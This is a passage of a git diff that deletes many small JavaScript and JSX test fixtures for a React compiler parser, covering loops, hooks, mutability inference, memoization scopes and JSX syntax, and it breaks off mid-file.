deleted file mode 100644
index 480bb662dd60..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-destructure.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component() {
-  let x = [];
-  let items = [{ v: 0 }, { v: 1 }, { v: 2 }];
-  for (const { v } of items) {
-    x.push(v * 2);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.js
deleted file mode 100644
index ea7d16c938d8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const collection = [makeObject()];
-  const results = [];
-  for (const item of collection) {
-    results.push(<div>{mutate(item)}</div>);
-  }
-  return <div>{results}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.tsx b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.tsx
deleted file mode 100644
index ea7d16c938d8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-mutate.tsx
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component(props) {
-  const collection = [makeObject()];
-  const results = [];
-  for (const item of collection) {
-    results.push(<div>{mutate(item)}</div>);
-  }
-  return <div>{results}</div>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-of-simple.js
deleted file mode 100644
index b708b1b3b92f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-of-simple.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function Component() {
-  let x = [];
-  let items = [0, 1, 2];
-  for (const ii of items) {
-    x.push(ii * 2);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/for-return.js b/compiler/crates/react_hermes_parser/tests/fixtures/for-return.js
deleted file mode 100644
index 0e3651b75e28..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/for-return.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  for (let i = 0; i < props.count; i++) {
-    return;
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/frozen-after-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/frozen-after-alias.js
deleted file mode 100644
index 852504b81d92..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/frozen-after-alias.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component() {
-  const a = [];
-  const b = a;
-  useFreeze(a);
-  foo(b); // should be readonly, value is guaranteed frozen via alias
-  return b;
-}
-
-function useFreeze() {}
-function foo(x) {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-reassign.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-reassign.js
deleted file mode 100644
index 92ee85466432..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-reassign.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component() {
-  function x(a) {
-    a.foo();
-  }
-  x = {};
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-redeclare.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-redeclare.js
deleted file mode 100644
index 03ba36473d4e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-redeclare.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component() {
-  function x(a) {
-    a.foo();
-  }
-  function x() {}
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-simple.js
deleted file mode 100644
index f37d5e13ee50..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-declaration-simple.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function component(a) {
-  let t = { a };
-  function x(p) {
-    p.foo();
-  }
-  x(t);
-  return t;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-captures-value-later-frozen-jsx.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-captures-value-later-frozen-jsx.js
deleted file mode 100644
index 7e694fa1bd02..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-captures-value-later-frozen-jsx.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Component(props) {
-  let x = {};
-  // onChange should be inferred as immutable, because the value
-  // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
-    maybeMutate(x, e.target.value);
-  };
-  if (props.cond) {
-    <div>{x}</div>;
-  }
-  return <Foo value={x} onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-maybe-mutates-hook-return-value.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-maybe-mutates-hook-return-value.js
deleted file mode 100644
index fcf38652b1cf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-maybe-mutates-hook-return-value.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Component(props) {
-  const id = useSelectedEntitytId();
-  // this example should infer `id` as mutable, and then infer `onLoad` as mutable,
-  // and be rejected because onLoad cannot be passed as a frozen value in the JSX.
-  // however, we likely have to allow this example to work, because hook return
-  // values are generally immutable in practice and are also widely referenced in
-  // callbacks.
-  const onLoad = () => {
-    log(id);
-  };
-  return <Foo onLoad={onLoad} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-with-store-to-parameter.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-with-store-to-parameter.js
deleted file mode 100644
index d8412a7c83dd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-expression-with-store-to-parameter.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  const mutate = (object, key, value) => {
-    object.updated = true;
-    object[key] = value;
-  };
-  const x = makeObject(props);
-  mutate(x);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/function-param-assignment-pattern.js b/compiler/crates/react_hermes_parser/tests/fixtures/function-param-assignment-pattern.js
deleted file mode 100644
index 2f2967583dcc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/function-param-assignment-pattern.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(x = "default", y = [{}]) {
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-default-function.js b/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-default-function.js
deleted file mode 100644
index 2a8b7ea44bb4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-default-function.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function-and-default.js b/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function-and-default.js
deleted file mode 100644
index afb28093075d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function-and-default.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export default function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function.js b/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function.js
deleted file mode 100644
index eed7a0e67915..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test-export-function.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-export function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-export function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-export function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/gating-test.js
deleted file mode 100644
index b4c928754e76..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/gating-test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @gating @compilationMode(annotation)
-function Bar(props) {
-  "use forget";
-  return <div>{props.bar}</div>;
-}
-
-function NoForget(props) {
-  return <Bar>{props.noForget}</Bar>;
-}
-
-function Foo(props) {
-  "use forget";
-  return <Foo>{props.bar}</Foo>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/global-jsx-tag-lowered-between-mutations.js b/compiler/crates/react_hermes_parser/tests/fixtures/global-jsx-tag-lowered-between-mutations.js
deleted file mode 100644
index 8a0744fd5051..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/global-jsx-tag-lowered-between-mutations.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  // NOTE: this will produce invalid output.
-  // The HIR is roughly:
-  //                                   ⌵ mutable range of `maybeMutable`
-  // StoreLocal maybeMutable = ...     ⌝
-  // t0 = LoadGlobal View              ⎮ <-- View is lowered inside this mutable range
-  //                                         and thus gets becomes an output of this scope,
-  //                                         gets promoted to temporary
-  // t1 = LoadGlobal maybeMutate       ⎮
-  // t2 = LoadLocal maybeMutable       ⎮
-  // t3 = Call t1(t2)                  ⌟
-  // t4 = Jsx tag=t0 props=[] children=[t3] <-- `t0` is an invalid tag
-  return <View>{maybeMutate(maybeMutable)}</View>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/globals-Boolean.js b/compiler/crates/react_hermes_parser/tests/fixtures/globals-Boolean.js
deleted file mode 100644
index b19c8ff7a050..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/globals-Boolean.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = {};
-  const y = Boolean(x);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/globals-Number.js b/compiler/crates/react_hermes_parser/tests/fixtures/globals-Number.js
deleted file mode 100644
index 8831bb4a3353..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/globals-Number.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = {};
-  const y = Number(x);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/globals-String.js b/compiler/crates/react_hermes_parser/tests/fixtures/globals-String.js
deleted file mode 100644
index d5e769807e99..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/globals-String.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = {};
-  const y = String(x);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-expr.js
deleted file mode 100644
index 533b5553a159..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-expr.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function t(props) {
-  let x = [, foo, props];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce-2.js b/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce-2.js
deleted file mode 100644
index 3009a0081207..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce-2.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function t(props) {
-  let [foo, bar, ,] = props;
-  return foo;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce.js b/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce.js
deleted file mode 100644
index 2c070d495537..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array-pattern-dce.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function t(props) {
-  let [, foo, bar] = props;
-  return foo;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array.js b/compiler/crates/react_hermes_parser/tests/fixtures/holey-array.js
deleted file mode 100644
index 302672aa1cb6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/holey-array.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function t(props) {
-  let [, setstate] = useState();
-  setstate(1);
-  return props.foo;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/hook-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/hook-call.js
deleted file mode 100644
index f77767cfc8cb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/hook-call.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function useFreeze() {}
-function foo() {}
-
-function Component(props) {
-  const x = [];
-  const y = useFreeze(x);
-  foo(y, x);
-  return (
-    <Component>
-      {x}
-      {y}
-    </Component>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/hook-inside-logical-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/hook-inside-logical-expression.js
deleted file mode 100644
index 483edd58bb12..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/hook-inside-logical-expression.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const user = useFragment(graphql`...`, props.user) ?? {};
-  return user.name;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-arguments.js b/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-arguments.js
deleted file mode 100644
index cdb1fce7e1dd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-arguments.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component() {
-  const a = [];
-  useFreeze(a); // should freeze
-  useFreeze(a); // should be readonly
-  call(a); // should be readonly
-  return a;
-}
-
-function useFreeze(x) {}
-function call(x) {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-possibly-mutable-arguments.js b/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-possibly-mutable-arguments.js
deleted file mode 100644
index bcf51ccc4ea2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/hooks-freeze-possibly-mutable-arguments.js
+++ /dev/null
@@ -1,17 +0,0 @@
-function Component(props) {
-  const cond = props.cond;
-  const x = props.x;
-  let a;
-  if (cond) {
-    a = x;
-  } else {
-    a = [];
-  }
-  useFreeze(a); // should freeze, value *may* be mutable
-  useFreeze(a); // should be readonly
-  call(a); // should be readonly
-  return a;
-}
-
-function useFreeze(x) {}
-function call(x) {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/immutable-hooks.js b/compiler/crates/react_hermes_parser/tests/fixtures/immutable-hooks.js
deleted file mode 100644
index b4103fa5da63..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/immutable-hooks.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @enableAssumeHooksFollowRulesOfReact true
-function Component(props) {
-  const x = {};
-  // In enableAssumeHooksFollowRulesOfReact mode hooks freeze their inputs and return frozen values
-  const y = useFoo(x);
-  // Thus both x and y are frozen here, and x can be independently memoized
-  bar(x, y);
-  return [x, y];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-class.js b/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-class.js
deleted file mode 100644
index 11740ef0a428..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-class.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function Component(props) {
-  const env = useRelayEnvironment();
-  // Note: this is a class has no mutable methods, ie it always treats `this` as readonly
-  const mutator = new Mutator(env);
-
-  useOtherHook();
-
-  // `x` should be independently memoizeable, since foo(x, mutator) cannot mutate
-  // the mutator.
-  const x = {};
-  foo(x, mutator);
-  return x;
-}
-
-class Mutator {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-lambda.js b/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-lambda.js
deleted file mode 100644
index bd10465c7422..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inadvertent-mutability-readonly-lambda.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  const [value, setValue] = useState(null);
-  // NOTE: this lambda does not capture any mutable values (only the state setter)
-  // and thus should be treated as readonly
-  const onChange = (e) => setValue((value) => value + e.target.value);
-
-  useOtherHook();
-
-  // x should be independently memoizeable, since foo(x, onChange) cannot modify onChange
-  const x = {};
-  foo(x, onChange);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/independent-across-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/independent-across-if.js
deleted file mode 100644
index d36900fff759..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/independent-across-if.js
+++ /dev/null
@@ -1,28 +0,0 @@
-function compute() {}
-function mutate() {}
-function foo() {}
-function Foo() {}
-
-/**
- * Should produce 3 scopes:
- *
- * a: inputs=props.a & props.c; outputs=a
- *   a = compute(props.a);
- *   if (props.c)
- *     mutate(a)
- * b: inputs=props.b & props.c; outputs=b
- *   b = compute(props.b);
- *   if (props.c)
- *     mutate(b)
- * return: inputs=a, b outputs=return
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  if (props.c) {
-    mutate(a);
-    mutate(b);
-  }
-  return <Foo a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/independent.js b/compiler/crates/react_hermes_parser/tests/fixtures/independent.js
deleted file mode 100644
index d7daa41b73c4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/independent.js
+++ /dev/null
@@ -1,19 +0,0 @@
-/**
- * Should produce 3 scopes:
- *
- * a: inputs=props.a, outputs=a
- *   a = compute(props.a);
- * b: inputs=props.b, outputs=b
- *   b = compute(props.b);
- * return: inputs=a, b outputs=return
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  return <Foo a={a} b={b} />;
-}
-
-function compute() {}
-function foo() {}
-function Foo() {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/independently-memoize-object-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/independently-memoize-object-property.js
deleted file mode 100644
index e76dce6c9189..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/independently-memoize-object-property.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(a, b, c) {
-  const x = { a: a };
-  // NOTE: this array should memoize independently from x, w only b,c as deps
-  x.y = [b, c];
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/infer-computed-delete.js b/compiler/crates/react_hermes_parser/tests/fixtures/infer-computed-delete.js
deleted file mode 100644
index 187e797f40f8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/infer-computed-delete.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// @debug
-function Component(props) {
-  const x = makeObject();
-  const y = delete x[props.value];
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/infer-global-object.js b/compiler/crates/react_hermes_parser/tests/fixtures/infer-global-object.js
deleted file mode 100644
index bcee757cc1b6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/infer-global-object.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// Check that we correctly resolve type and effect lookups on the javascript
-// global object.
-function Component(props) {
-  let neverAliasedOrMutated = foo(props.b);
-  let primitiveVal1 = Math.max(props.a, neverAliasedOrMutated);
-  let primitiveVal2 = Infinity;
-  let primitiveVal3 = globaThis.globalThis.NaN;
-
-  // Even though we don't know the function signature of foo,
-  // we should be able to infer that it does not mutate its inputs.
-  foo(primitiveVal1, primitiveVal2, primitiveVal3);
-  return { primitiveVal1, primitiveVal2, primitiveVal3 };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/infer-phi-primitive.js b/compiler/crates/react_hermes_parser/tests/fixtures/infer-phi-primitive.js
deleted file mode 100644
index faafa9ddd312..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/infer-phi-primitive.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b) {
-  let x;
-  if (a) {
-    x = 1;
-  } else {
-    x = 2;
-  }
-
-  let y = x;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/infer-property-delete.js b/compiler/crates/react_hermes_parser/tests/fixtures/infer-property-delete.js
deleted file mode 100644
index b8540044449b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/infer-property-delete.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  const y = delete x.value;
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/infer-types-through-type-cast.flow.js b/compiler/crates/react_hermes_parser/tests/fixtures/infer-types-through-type-cast.flow.js
deleted file mode 100644
index eaac49f9a24e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/infer-types-through-type-cast.flow.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @flow
-function Component(props) {
-  // We can infer that `x` is a primitive bc it is aliased to `y`,
-  // which is used in a binary expression
-  const x = foo();
-  const y = (x: any);
-  y + 1;
-  return x;
-}
\ No newline at end of file
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-dynamic.js b/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-dynamic.js
deleted file mode 100644
index dc36d75464e7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-dynamic.js
+++ /dev/null
@@ -1,14 +0,0 @@
-function Component(props) {
-  const item = useFragment(FRAGMENT, props.item);
-  useFreeze(item);
-
-  const count = new MaybeMutable(item);
-  return (
-    <View>
-      <View>
-        {<span>Text</span>}
-        {<span>{maybeMutate(count)}</span>}
-      </View>
-    </View>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-static.js b/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-static.js
deleted file mode 100644
index 5c92f8bcf5af..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inner-memo-value-not-promoted-to-outer-scope-static.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component(props) {
-  const count = new MaybeMutable();
-  return (
-    <View>
-      <View>
-        {<span>Text</span>}
-        {<span>{maybeMutate(count)}</span>}
-      </View>
-    </View>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/interdependent-across-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/interdependent-across-if.js
deleted file mode 100644
index 8f05da6973cc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/interdependent-across-if.js
+++ /dev/null
@@ -1,22 +0,0 @@
-function compute() {}
-function foo() {}
-function Foo() {}
-
-/**
- * Should produce 1 scope:
- *
- * return: inputs=props.a & props.b & props.c; outputs=return
- *   const a = compute(props.a);
- *   const b = compute(props.b);
- *   if (props.c)
- *     foo(a, b);
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  if (props.c) {
-    foo(a, b);
-  }
-  return <Foo a={a} b={b} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/interdependent.js b/compiler/crates/react_hermes_parser/tests/fixtures/interdependent.js
deleted file mode 100644
index aef5a385a35a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/interdependent.js
+++ /dev/null
@@ -1,19 +0,0 @@
-/**
- * Should produce 1 scope:
- *
- * return: inputs=props.a & props.b; outputs=return
- *   const a = compute(props.a);
- *   const b = compute(props.b);
- *   foo(a, b);
- *   return = <Foo a={a} b={b} />
- */
-function Component(props) {
-  const a = compute(props.a);
-  const b = compute(props.b);
-  foo(a, b);
-  return <Foo a={a} b={b} />;
-}
-
-function compute() {}
-function foo() {}
-function Foo() {}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if-else.js
deleted file mode 100644
index 574de55c6499..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if-else.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c) {
-  let x = null;
-  label: {
-    if (a) {
-      x = b;
-      break label;
-    }
-    x = c;
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if.js b/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if.js
deleted file mode 100644
index 97cd1fbff251..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/inverted-if.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c, d) {
-  let y = [];
-  label: if (a) {
-    if (b) {
-      y.push(c);
-      break label;
-    }
-    y.push(d);
-  }
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/issue852.js b/compiler/crates/react_hermes_parser/tests/fixtures/issue852.js
deleted file mode 100644
index 907ff058d599..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/issue852.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(c) {
-  let x = { c };
-  mutate(x);
-  let a = x;
-  let b = a;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/issue933-disjoint-set-infinite-loop.js b/compiler/crates/react_hermes_parser/tests/fixtures/issue933-disjoint-set-infinite-loop.js
deleted file mode 100644
index 43d343bb1c4d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/issue933-disjoint-set-infinite-loop.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// This caused an infinite loop in the compiler
-function MyApp(props) {
-  const y = makeObj();
-  const tmp = y.a;
-  const tmp2 = tmp.b;
-  y.push(tmp2);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-empty-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-empty-expression.js
deleted file mode 100644
index 357f27186e0d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-empty-expression.js
+++ /dev/null
@@ -1,8 +0,0 @@
-export function Component(props) {
-  return (
-    <div>
-      {}
-      {props.a}
-    </div>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-fragment.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-fragment.js
deleted file mode 100644
index a8142a9539a8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-fragment.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Foo(props) {
-  return (
-    <>
-      Hello {props.greeting}{" "}
-      <div>
-        <>Text</>
-      </div>
-    </>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression-tag-grouping.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression-tag-grouping.js
deleted file mode 100644
index 4455f9a9abdf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression-tag-grouping.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  return <Foo.Bar>{maybeMutate(maybeMutable)}</Foo.Bar>;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression.js
deleted file mode 100644
index 40f36ac072da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-member-expression.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Component(props) {
-  return (
-    <Sathya.Codes.Forget>
-      <Foo.Bar.Baz />
-    </Sathya.Codes.Forget>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-namespaced-name.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-namespaced-name.js
deleted file mode 100644
index e09a13331d40..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-namespaced-name.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return <xml:http protocol:version={props.version} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-spread.js
deleted file mode 100644
index 0dd5d5c96c2f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-spread.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function Component(props) {
-  return (
-    <Component {...props} {...{ bar: props.cond ? props.foo : props.bar }} />
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order-non-global.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order-non-global.js
deleted file mode 100644
index b2440232c835..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order-non-global.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  const maybeMutable = new MaybeMutable();
-  let Tag = props.component;
-  // NOTE: the order of evaluation in the lowering is incorrect:
-  // the jsx element's tag observes `Tag` after reassignment, but should observe
-  // it before the reassignment.
-  return (
-    <Tag>
